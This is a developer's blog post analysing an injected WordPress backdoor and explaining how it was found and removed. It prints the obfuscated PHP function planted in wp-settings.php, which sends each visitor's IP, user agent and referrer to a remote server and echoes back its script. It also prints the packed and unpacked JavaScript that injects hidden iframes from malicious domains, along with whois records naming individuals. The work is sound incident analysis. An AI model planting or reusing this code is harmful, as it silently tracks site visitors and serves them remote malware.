Alexander Conroy

Complex WordPress Header Javascript and IFrame Injection Problem, Solution and Analysis

WordpressWhile working on a development site, that sat idle before any actual work was done for a while, we noticed that some kind of iframe injection had occured. There was no trace of it in the database or the server code, nothing that said iFrame, nothing that added extra scripts. This was a brand new website, template from scratch with no plugins and no content…I Was pulling my hair out, but slowly started getting on to the situation, and with the help of Mike Brich from HavenLight Software, got right down to it after hours of investigation and head scratching.

This post will be very code intensive, but with full explanations, just a warning, I am jumping right into it!!

Overview

Bottom line this is how it works:

  • Something Injects Code into wp-settings.php
  • function counter_wordpress is decoded and sends a CURL request to a third party server with your computer info.
  • CURL sends a string from third party server and injects javascript
  • javascript communicates with yet another server and injects an iframe
  • iFrame injects all sorts of other scripts, popups, java programs, and other iFrames from other servers.
  • CURL’d server logs your IP and computer information, and the next time you visit hides itself, or prevents itself from showing its payload, for a while.
  • Repeat.

Jump to Solution

Jump to Analysis

Jump to Questions

The Problem

The iFrame injection did not appear on my browsers, or any other browser in my office. It seemed to appear only on browsers coming from a IP that hadn’t encountered it before, or at least hadn’t for a while. On success or failure of delivering its payload, it hid! Not only from machines, but from Bots too, Googlebot and Googles malware scans saw nothing coming from this site, it was bizarre.

I scanned the source code of the entire wordpress install for any traces of traditional injections or Iframes, but there were none. There was nothing in the database either. I disabled and removed all plugins, and it was still there.

The behavior of the code was strange also, it would load the script, show a Java wants to run warning, then on refresh start loading data from various sources as the iFrame was inserted, I found out later that the script had a 5 second delay when loading the iFrame, which didn’t allow me to catch it as I was refreshing, and also, I am sure, helps avoiding automated scans, including Google’s Malware scans. After loading once it would disappear, never to return.

I couldn’t see it, however something interesting started to happen. Refreshing the page over and over in the source code, shows an error that appeared on the site and showed up in the source code where the original Injection occured, right before the end of </head>

<html>
<head>
<title>The page is temporarily unavailable</title>
<style>
body { font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body bgcolor="white" text="black">
<table width="100%" height="100%">
<tr>
<td align="center" valign="middle">
The page you are looking for is temporarily unavailable.<br/>
Please try again later.
</td>
</tr>
</table>
</body>
</html>

 

This made it seem as if another website was loading inside mine, since the opening and closing html tags were a dead giveaway. I started to search for this issue and pretty quickly found out that this was an error message from a web server running nginx, an open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server meant for servers with limited system resources. The server was errorign out, perhaps too many sites are connected at once and its DoSing itself. So, confirmed, my website is loading another website in its header.

This is the code that was being used, please be careful and do not click on any links in this document that are in code blocks.

<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('d 9(){5=2.e(\'7\');f(!5){8 0=2.c(\'3\');2.g.h(0);0.6=\'7\';0.1.a=\'4\';0.1.b=\'4\';0.1.n=\'i\';0.r=\'s://q.o.j/3.k?6=l\'}}8 t=m("9()",p);',30,30,'el|style|document|iframe|1px|element|id|yahoo_api|var|MakeFrameEx|width|height|createElement|function|getElementById|if|body|appendChild|none|pl|php|2b8325qvzjut0iv8b87u9nlxnan0kpc|setTimeout|display|345|500|sokistatehouse|src|http|'.split('|'),0,{}))
</script>
<IFRAME style="display:none" SRC="http://finderonlinesearch.com/tds/in.cgi?5&user=mexx" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME><meta name="Cart66Version" content="Professional 1.2.2" />
</head>

It is messy code, difficult to understand with the naked eye, why? Because, as Mike found out, its packed.

Here is what it looks like unpacked.

function MakeFrameEx() {
	element = document.getElementById('yahoo_api');
	if (!element) {
		var el = document.createElement('iframe');
		document.body.appendChild(el);
		el.id = 'yahoo_api';
		el.style.width = '1px';
		el.style.height = '1px';
		el.style.display = 'none';
		el.src = 'http://hardpancakes.xe.cx/showthread.php?t=72291731'
	}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1)) && ua.indexOf("windows") != -1) {
	var t = setTimeout("MakeFrameEx()", 500)
}

Interesting URL! Where does it go? Interestingly enough to a 404 page on a nginx server, as suspected.

So where is the iFrame, and where the hell is this packed javascript function getting loaded into the header?

Now I go back to my searches, I can’t find any mention of the iFrame URL the new unencoded URL, or even “MakeFrameEx” anywhere in the source code. so

I decided to search again for anything with the words wp_head, which can be done like this:

# grep -Rin 'wp_head' yourdirectory

I look again at the function “counter_wordpress” that I had overlooked as a valid system file, that just looked overly complex (I thought it was part of wordpress.com’s tracker).

It wasn’t.

This is the function that was sitting right above do_action(‘init’) in wp-settings.php:

function counter_wordpress() {$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action('wp_head', 'counter_wordpress');

There it is, a ridiculously over encoded piece of code that gets injected into wp_head.

I am going to move onto the solution now, and then go back to analyze this bit of code, and pose some questions because I still can’t answer precisely on how it got in there in the first place.

The Solution

Firstly, go to your main wordpress directory and type:

# ls -al

Take note of any files that have changed recently versus others, most of your wordpress config files should have the same modified date, except maybe wp-config.php

wp-settings.php is the file I found infected, but you may find it elsewhere.

Remove the function counter_wordpress() including the it’s wordpress hook add_action(‘wp_head’, ‘counter_wordpress’);

If you do not have this function in your wp-settings, it may show up somewhere else but you can be sure that it will be followed by an add_action(‘wp_head’, ‘function_name’);  that is not supposed to be there. Find it and remove it immediatly.

If you cannot find the code in the wp-settings.php file I suggest running the following command:

# grep -Rin 'wp_head' yourdirectory

Where yourdirectory is the directory in question, this will give you a list of files, line numbers, and code where wp_head exists in your install, which is a requirement for the code to install itself…(imagine if they had encrypted THAT and evaled it, would be impossible to find.)

After removing this function you should find that your error message, Injected Javascript and Injected iFrames all stop loading.

After you remove the function check your permissions in your wordpress root directory and all other directories, make sure they are set to 755 or even more stringent, mine was not and I suspect that there is some other WordPress vulnerability that took advantage of that, of which I cannot identify.

The Analysis

Lets dig deeper, how does this thing work? It is encrypted after all…

Here is the PHP  function, a bit more legible:

function counter_wordpress()
 {
	$_F=__FILE__;
	$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';
	eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
	$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
	$ip = $_SERVER['REMOTE_ADDR'];
	$host = $_SERVER['HTTP_HOST'];
	$uri = urlencode($_SERVER['REQUEST_URI']);
	$ref = urlencode($_SERVER['HTTP_REFERER']);
	$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 2);
	$re = curl_exec($ch);
	curl_close($ch);
	echo $re;
}
add_action('wp_head', 'counter_wordpress');

As we can see, this is a average CURL operation, but to where is it sending? We have all the params but the URL, which is concatenated from…somewhere…

Actually it has alot to do with that variable $_X which is encoded about 3 or 4 times, as you will see:

Evaluation Process

This is the process of evaluation:

  • $_X = an Encoded String
    • Another String is Decoded which accepts $_X
      • Inside that code is another Encoded form of $_X
      • Inside that same Code, the new decoded form of $_X is run through strtr function, which replaced letters and numbers with other letters and numbers.
      • Inside taht same code $_R is set and ereg _replace ran through $_R  with $_X
      • Inside that same code, $_R is evaluated
      • Inside that same code $_R and $_X are set to null so you cant echo them outside of the encoding.
    • Then the entire thing is evaluated, giving you $url

Evaluation Breakdown

Lets break it down:
  • $_F=__FILE__;
  • Encryption Layer 1: $_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’;
  • eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’));
    • Encryption Layer 2: $_X=base64_decode($_X);$_X=strtr($_X,’123456aouie’,’aouie123456′);$_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);eval($_R);$_R=0;$_X=0;
      •  Encryption Layer 3: $_X=base64_decode($_X);
        • Result: ?><?php $3rl = ‘http://96.69e.a6e.o0/bt.php’; ?>
      •  Encryption Layer 4: $_X=strtr($_X,’123456aouie’,’aouie123456′);
        • Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?>
      • Encryption Layer 5: $_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);
        • Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?>
      • Evaluate Command: eval($_R);
        • Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?>
      • $_R=0;$_X=0;
        • Set these to 0 so you can’t echo them without recreating the encryption process step by step.
    • Final Result of Encryption: $url =  ‘http://91.196.216.30/bt.php’;
	$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
	$ip = $_SERVER['REMOTE_ADDR'];
	$host = $_SERVER['HTTP_HOST'];
	$uri = urlencode($_SERVER['REQUEST_URI']);
	$ref = urlencode($_SERVER['HTTP_REFERER']);
	$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 2);
	$re = curl_exec($ch);
	curl_close($ch);
	echo $re;
}

Complex! This is an enourmous amount of work to encrypt and throw off an investigator trying to figure out what happened to their site. It is an amazing level of complexity, kudos to the designer! This will make sure that you cannot search for ANY of the words, URL’s or text in your wordpress files or databases, there is no algorithm to do a search for something of this complexity, it was hard enough to break it down! All of this encoding to hide the URL: http://91.196.216.30/bt.php.

The end result is that the script sends this data to the server, with all parameters, and echos whatever the server decides to spit back, in my case, it was the compressed javascript code, shown here uncompressed again for convenience:

function MakeFrameEx() {
	element = document.getElementById('yahoo_api');
	if (!element) {
		var el = document.createElement('iframe');
		document.body.appendChild(el);
		el.id = 'yahoo_api';
		el.style.width = '1px';
		el.style.height = '1px';
		el.style.display = 'none';
		el.src = 'http://hardpancakes.xe.cx/showthread.php?t=72291731'
	}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1)) && ua.indexOf("windows") != -1) {
	var t = setTimeout("MakeFrameEx()", 500)
}

This code does a strange check to see if the user agent is internet explorer, opera, webtv or windows and if it is, or isnt, sets a timeout to make a iFrame with the previous code. This delay is perfect for stopping detection from bots, crawlers, and some passers by. It causes confusion when troubleshooting it as well.

The interesting thing about this malicious code is that it uses well known names, such as yahoo_api to create a new element. This bit of code contacts a website known as hardpankaces.xe.cx, which then delivers its payload by opening up an iFrame to http://finderonlinesearch.com/tds/in.cgi?5&user=mexx. Note that the website in the iFrame was different earlier while troubleshooting, than it was shown, but the user always =mexx, whcih I found odd.  I found the javascript snippet on Pastebin of all places, posted by a guest with no comments.

I was interested, where the hell are these domains going, and where is the IP Address located for the originating server that initializes the script? Frankfurt, Germany And Moscow, Russia.

Here are the tracert logs and whois records, you can form opinions yourselves:

Tracert  – Script Originating IP:

Tracing route to 91.196.216.30 over a maximum of 30 hops

  4     *        *       23 ms  99.167.141.18
  5    21 ms    20 ms    20 ms  12.83.70.9
  6    22 ms    22 ms    22 ms  fldfl01jt.ip.att.net [12.122.81.25]
  7    30 ms    23 ms    23 ms  192.205.36.254
  8    45 ms    36 ms    36 ms  ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126]
  9    53 ms    47 ms    53 ms  ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142]
 10    47 ms    47 ms    53 ms  ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253]

 11    65 ms    69 ms    69 ms  ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86]

 12    74 ms    74 ms    74 ms  ae-91-91.csw4.Washington1.Level3.net [4.69.134.1
42]
 13    64 ms    70 ms    64 ms  ae-92-92.ebr2.Washington1.Level3.net [4.69.134.1
57]
 14   149 ms   143 ms   150 ms  ae-43-43.ebr2.Paris1.Level3.net [4.69.137.57]
 15   148 ms   154 ms   154 ms  ae-46-46.ebr1.Frankfurt1.Level3.net [4.69.143.13
7]
 16   148 ms   154 ms   148 ms  ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2]

 17   148 ms   154 ms   147 ms  ae-1-60.edge3.Frankfurt1.Level3.net [4.69.154.7]

 18   155 ms   155 ms   158 ms  IPTRIPLEPLA.edge3.Frankfurt1.Level3.net [212.162
.40.194]
 19   358 ms   197 ms   192 ms  te7-2-pontiac.stk.citytelecom.ru [217.65.1.229]

 20   186 ms   180 ms   186 ms  te4-4-adelaida.spb.citytelecom.ru [217.65.1.201]

 21   187 ms   178 ms   185 ms  62.152.42.134
 22   215 ms   214 ms   220 ms  91.196.216.30

Whois – Script Originating IP:

inetnum:        91.196.216.0 - 91.196.219.255
netname:        SPETSENERGO-NET
descr:          SpetsEnergo Ltd.
country:        RU
org:            ORG-SL138-RIPE
admin-c:        KDS23-RIPE
tech-c:         KDS23-RIPE
remarks:        SPAM issues:   abuse@specenergo2.ru
remarks:        Network security issues:  abuse@specenergo2.ru
remarks:        General and other information:  info@specenergo2.ru
status:         ASSIGNED PI
mnt-by:         RIPE-NCC-END-MNT
mnt-by:         MNT-SPETSENERGO
mnt-lower:      RIPE-NCC-END-MNT
mnt-routes:     MNT-SPETSENERGO
mnt-domains:    MNT-SPETSENERGO
source:         RIPE #Filtered
organisation:   ORG-SL138-RIPE
org-name:       SpetsEnergo Ltd.
tech-c:         KDS23-RIPE
admin-c:        KDS23-RIPE
remarks:        SPAM issues:     abuse@specenergo2.ru
remarks:        Network security issues:     abuse@specenergo2.ru
remarks:        General and other information:   info@specenergo2.ru
org-type:       OTHER
address:        Russia, 127422, Moscow, Timiryazevskaya st, 11
mnt-ref:        MNT-SPETSENERGO
mnt-by:         MNT-SPETSENERGO
source:         RIPE #Filtered
person:         Kruchkov Dmitry Sergeevich
address:        Russia, 127422, Moscow, Timiryazevskaya st, 11
abuse-mailbox:  kdsspec@pochta.ru
phone:          +7 916 959 2268
nic-hdl:        KDS23-RIPE
source:         RIPE #Filtered
route:          91.196.216.0/22
descr:          SPETSENERGO
origin:         AS43239
mnt-by:         MNT-SPETSENERGO
source:         RIPE #Filtered

Tracert: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18)

  5    21 ms    21 ms    20 ms  12.83.70.9
  6    44 ms    23 ms    22 ms  fldfl01jt.ip.att.net [12.122.81.25]
  7    30 ms    29 ms    23 ms  192.205.36.254
  8    36 ms    35 ms    35 ms  ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126]
  9    43 ms    36 ms    42 ms  ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142]
 10    42 ms    38 ms    43 ms  ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253]

 11    54 ms    53 ms    60 ms  ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86]

 12    53 ms    58 ms    59 ms  ae-81-81.csw3.Washington1.Level3.net [4.69.134.1
38]
 13    57 ms    59 ms    53 ms  ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1
53]
 14   146 ms   134 ms   140 ms  ae-44-44.ebr2.Paris1.Level3.net [4.69.137.61]
 15   139 ms   138 ms   146 ms  ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14
5]
 16   139 ms   144 ms   144 ms  ae-81-81.csw3.Frankfurt1.Level3.net [4.69.140.10
]
 17   139 ms   144 ms   138 ms  ae-3-80.edge3.Frankfurt1.Level3.net [4.69.154.13
5]
 18   139 ms   145 ms   180 ms  HETZNER-ONL.edge3.Frankfurt1.Level3.net [212.162
.40.206]
 19   157 ms   158 ms   149 ms  hos-bb1.juniper1.fs.hetzner.de [213.239.240.242]

 20   153 ms   144 ms   144 ms  hos-tr1.ex3k10.rz14.hetzner.de [213.239.224.139]

 21   150 ms   144 ms   150 ms  static.18.108.4.46.clients.your-server.de [46.4.
108.18]
Trace complete.

Whois: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18)

inetnum:        46.4.108.0 - 46.4.108.31
netname:        HETZNER-RZ14
descr:          Hetzner Online AG
descr:          Datacenter 14
country:        DE
admin-c:        HOAC1-RIPE
tech-c:         HOAC1-RIPE
status:         ASSIGNED PA
mnt-by:         HOS-GUN
mnt-lower:      HOS-GUN
mnt-routes:     HOS-GUN
source:         RIPE #Filtered
role:           Hetzner Online AG - Contact Role
address:        Hetzner Online AG
address:        Stuttgarter Stra?e 1
address:        D-91710 Gunzenhausen
address:        Germany
phone:          +49 9831 61 00 61
fax-no:         +49 9831 61 00 62
abuse-mailbox:  abuse@hetzner.de
remarks:        *************************************************
remarks:        * For spam/abuse/security issues please contact *
remarks:        *    abuse@hetzner.de ,  not  this  address     *
remarks:        *************************************************
remarks:
remarks:        *************************************************
remarks:        *    Any questions on Peering please send to    *
remarks:        *              peering@hetzner.de               *
remarks:        *************************************************
org:            ORG-HOA1-RIPE
admin-c:        MH375-RIPE
tech-c:         GM834-RIPE
tech-c:         RB1502-RIPE
tech-c:         SK2374-RIPE
tech-c:         ND762-RIPE
tech-c:         TF2013-RIPE
tech-c:         MF1400-RIPE
nic-hdl:        HOAC1-RIPE
mnt-by:         HOS-GUN
source:         RIPE #Filtered
route:          46.4.0.0/16
descr:          HETZNER-RZ-FKS-BLK3
origin:         AS24940
org:            ORG-HOA1-RIPE
mnt-by:         HOS-GUN
source:         RIPE #Filtered
Update
Delete
 organisation:   ORG-HOA1-RIPE
org-name:       Hetzner Online AG
org-type:       LIR
address:        Hetzner Online AG Attn. Martin Hetzner Stuttgarter Str. 1 91710 Gunzenhausen GERMANY
phone:          +49 9831 610061
fax-no:         +49 9831 610062
admin-c:        DM93-RIPE
admin-c:        GM834-RIPE
admin-c:        HOAC1-RIPE
admin-c:        MH375-RIPE
admin-c:        RB1502-RIPE
admin-c:        SK2374-RIPE
admin-c:        TF2013-RIPE
admin-c:        MF1400-RIPE
mnt-ref:        HOS-GUN
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
source:         RIPE #Filtered

Tracert: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180)

  5    21 ms    21 ms    22 ms  12.83.70.9
  6    22 ms    22 ms    21 ms  fldfl01jt.ip.att.net [12.122.81.25]
  7    29 ms    27 ms    29 ms  192.205.36.254
  8    24 ms    23 ms    29 ms  4.69.138.91
  9    64 ms    71 ms    70 ms  ae-2-2.ebr1.Dallas1.Level3.net [4.69.140.133]
 10    64 ms    70 ms    64 ms  ae-91-91.csw4.Dallas1.Level3.net [4.69.151.161]

 11    66 ms    71 ms    64 ms  ae-93-93.ebr3.Dallas1.Level3.net [4.69.151.170]

 12    71 ms    70 ms    64 ms  ae-7-7.ebr3.Atlanta2.Level3.net [4.69.134.22]
 13    87 ms    80 ms    86 ms  ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86]

 14    83 ms    87 ms    80 ms  ae-81-81.csw3.Washington1.Level3.net [4.69.134.1
38]
 15    81 ms    87 ms    81 ms  ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1
53]
 16   168 ms   167 ms   161 ms  ae-41-41.ebr2.Paris1.Level3.net [4.69.137.49]
 17   172 ms   166 ms   166 ms  ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14
5]
 18   172 ms   167 ms   172 ms  ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2]

 19   167 ms   183 ms   167 ms  ae-1-60.edge4.Frankfurt1.Level3.net [4.69.154.8]

 20   295 ms   203 ms   199 ms  212.162.5.234
 21   182 ms   177 ms   176 ms  89-149-218-34.internetserviceteam.com [89.149.21
8.34]
 22   183 ms   180 ms   182 ms  89-149-218-178.gatewayrouter.net [89.149.218.178
]
 23   183 ms   175 ms   182 ms  78.159.112.180

Trace complete.

Whois: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180)

inetnum:        78.159.112.0 - 78.159.115.255
netname:        NETDIRECT-NET
descr:          Leaseweb Germany GmbH (previously netdirekt e. K.)
remarks:        INFRA-AW
country:        DE
admin-c:        WW200-RIPE
tech-c:         SR614-RIPE
status:         ASSIGNED PA
mnt-by:         NETDIRECT-MNT
mnt-lower:      NETDIRECT-MNT
mnt-routes:     NETDIRECT-MNT
source:         RIPE #Filtered
person:         Wiethold Wagner
address:        Leaseweb Germany GmbH (previously netdirekt e. K.)
address:        Kleyer Strasse 79 / Tor 14
address:        60326 Frankfurt
address:        DE
phone:          +49 69 90556880
fax-no:         +49 69 905568822
abuse-mailbox:  abuse@leaseweb.de
nic-hdl:        WW200-RIPE
mnt-by:         NETDIRECT-MNT
source:         RIPE #Filtered
person:         Simon Roehl
address:        Leaseweb Germany GmbH (previously netdirekt e. K.)
address:        Kleyer Strasse 79 /Tor 14
address:        60326 Frankfurt
address:        DE
phone:          +49 69 90556880
fax-no:         +49 69 905568822
abuse-mailbox:  abuse@leaseweb.de
nic-hdl:        SR614-RIPE
mnt-by:         NETDIRECT-MNT
source:         RIPE #Filtered
route:          78.159.96.0/19
descr:          ORG-nA8-RIPE
origin:         AS28753
org:            ORG-nA8-RIPE
mnt-lower:      NETDIRECT-MNT
mnt-routes:     NETDIRECT-MNT
mnt-by:         NETDIRECT-MNT
source:         RIPE #Filtered
organisation:   ORG-nA8-RIPE
org-name:       netdirect
org-type:       LIR
address:        netdirekt e. K. Kleyer Strasse 79 / Tor 14 60326 Frankfurt Germany
phone:          +49 69 90556880
fax-no:         +49 69 905568822
admin-c:        SR614-RIPE
admin-c:        WW200-RIPE
mnt-ref:        NETDIRECT-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
source:         RIPE #Filtered

Permissions

Permissions are important, and here is where it gets confusion, I am not sure If it was I that left the permissions on this specific account so open (757) or if someone else logged in and did it, or if there was some WordPress vulnerability that was able to do this, but the permissions on all the files were different than my safe and unaffected installs. I am assuming that there is some vulnerability in WordPress that allows a user to write to these directories if the permissions are set in such a way, but I have no evidence or lead as to what it was that did it. Notice in the examples below that the dirty folder structure has wp-settings.php modified sometime in September, but other wp- files modified around the same day of installation, this was not me, as I modifying it to fix it on the 13th.

Example Clean Folder Structure

rw-r--r-- 1 root root   561 Jun  2 13:53 .htaccess
-rw-r--r-- 1 root root   397 Sep 15 15:16 index.php
-rw-r--r-- 1 root root 16899 Sep 15 15:17 license.txt
-rw-r--r-- 1 root root  9202 Sep 15 15:16 readme.html
-rw-r--r-- 1 root root  4343 Sep 15 15:16 wp-activate.php
drwxr-xrwx 9 root root  4096 Sep 15 15:17 wp-admin
-rw-r--r-- 1 root root 40243 Sep 15 15:16 wp-app.php
-rw-r--r-- 1 root root   226 Sep 15 15:16 wp-atom.php
-rw-r--r-- 1 root root   274 Sep 15 15:16 wp-blog-header.php
-rw-r--r-- 1 root root  3931 Sep 15 15:16 wp-comments-post.php
-rw-r--r-- 1 root root   244 Sep 15 15:16 wp-commentsrss2.php
-rwxr-xrwx 1 root root  3471 Sep 19 10:04 wp-config.php
-rw-r--r-- 1 root root  3177 Sep 15 15:16 wp-config-sample.php
drwxr-xrwx 8 root root  4096 Sep 19 10:04 wp-content
-rw-r--r-- 1 root root  1255 Sep 15 15:16 wp-cron.php
-rw-r--r-- 1 root root   246 Sep 15 15:16 wp-feed.php
drwxr-xrwx 8 root root  4096 Sep 15 15:17 wp-includes
-rw-r--r-- 1 root root  1997 Sep 15 15:16 wp-links-opml.php
-rw-r--r-- 1 root root  2525 Sep 15 15:16 wp-load.php
-rw-r--r-- 1 root root 27601 Sep 15 15:16 wp-login.php
-rw-r--r-- 1 root root  7774 Sep 15 15:16 wp-mail.php
-rw-r--r-- 1 root root   494 Sep 15 15:16 wp-pass.php
-rw-r--r-- 1 root root   224 Sep 15 15:17 wp-rdf.php
-rw-r--r-- 1 root root   334 Sep 15 15:17 wp-register.php
-rw-r--r-- 1 root root   226 Sep 15 15:16 wp-rss2.php
-rw-r--r-- 1 root root   224 Sep 15 15:16 wp-rss.php
-rw-r--r-- 1 root root  9839 Sep 15 15:17 wp-settings.php
-rw-r--r-- 1 root root 18646 Sep 15 15:17 wp-signup.php
-rw-r--r-- 1 root root  3702 Sep 15 15:17 wp-trackback.php
-rw-r--r-- 1 root root  3266 Sep 15 15:16 xmlrpc.php

Example Dirty Folder Structure

drwxr-xr-x 5 root root  4096 Sep 29 23:05 .
drwxr-xr-x 3 root root  4096 Oct 10 17:42 ..
-rwxr-xr-x 1 root root   200 Aug 25 17:29 .htaccess
-rwxr-xrwx 1 root root   397 May 25  2008 index.php
-rwxr-xrwx 1 root root 16899 Jun  8 13:18 license.txt
-rwxr-xrwx 1 root root  9202 Jul 12 13:24 readme.html
-rwxr-xrwx 1 root root  4343 May  6 22:26 wp-activate.php
drwxr-xrwx 9 root root  4096 Jul 12 14:24 wp-admin
-rwxr-xrwx 1 root root 40243 Jun  1 17:03 wp-app.php
-rwxr-xrwx 1 root root   226 Dec  9  2010 wp-atom.php
-rwxr-xrwx 1 root root   274 Nov 20  2010 wp-blog-header.php
-rwxr-xrwx 1 root root  3931 Dec  9  2010 wp-comments-post.php
-rwxr-xrwx 1 root root   244 Dec  9  2010 wp-commentsrss2.php
-rwxr-xrwx 1 root root  3166 Aug 24 19:21 wp-config.php
drwxr-xrwx 6 root root  4096 Oct 12 19:21 wp-content
-rwxr-xrwx 1 root root  1255 Mar 16  2010 wp-cron.php
-rwxr-xrwx 1 root root   246 Dec  9  2010 wp-feed.php
drwxr-xrwx 8 root root  4096 Sep 30 01:35 wp-includes
-rwxr-xrwx 1 root root  1997 Oct 23  2010 wp-links-opml.php
-rwxr-xrwx 1 root root  2525 Jun 29 11:50 wp-load.php
-rwxr-xrwx 1 root root 27601 Jun 22 14:45 wp-login.php
-rwxr-xrwx 1 root root  7774 May 25  2010 wp-mail.php
-rwxr-xrwx 1 root root   494 Dec  9  2010 wp-pass.php
-rwxr-xrwx 1 root root   224 Dec  9  2010 wp-rdf.php
-rwxr-xrwx 1 root root   334 Dec  9  2010 wp-register.php
-rwxr-xrwx 1 root root   226 Dec  9  2010 wp-rss2.php
-rwxr-xrwx 1 root root   224 Dec  9  2010 wp-rss.php
-rwxr-xrwx 1 root root 10969 Sep 12 05:39 wp-settings.php
-rwxr-xrwx 1 root root 18646 May 22 17:30 wp-signup.php
-rwxr-xrwx 1 root root  3702 Feb 24  2010 wp-trackback.php
-rwxr-xrwx 1 root root  3266 Apr 17 03:35 xmlrpc.php

The Questions

How did it get in? I have no idea. My permissions were set way too losely on this site, I believe they were set to 757 whereas all my others are 755 or less. This gives public access to write to the server. Still…what did they use to access and write to the server? There was only one username, my box has no other user accounts on it, and FTP is disabled, I only use SSH and SFTP. It is puzzling, any insights or suggestions are appreciated.

Who are these Russians / Germans that are hosting these sites? What are they trying to pull?

I would love to recreate the injection on my own on a clean box and browser to see what javascript and data it pulls from the other sites, I’d have to install something to sniff out the data coming between the injected iFrame and javascript and the site, but thats for another day when I actually have time!

My next step should probably be to e-mail these people, or give them a ring, see if they even know this is happening through their servers.

I hope this article has been helpful, I look forward to further analysis in comments!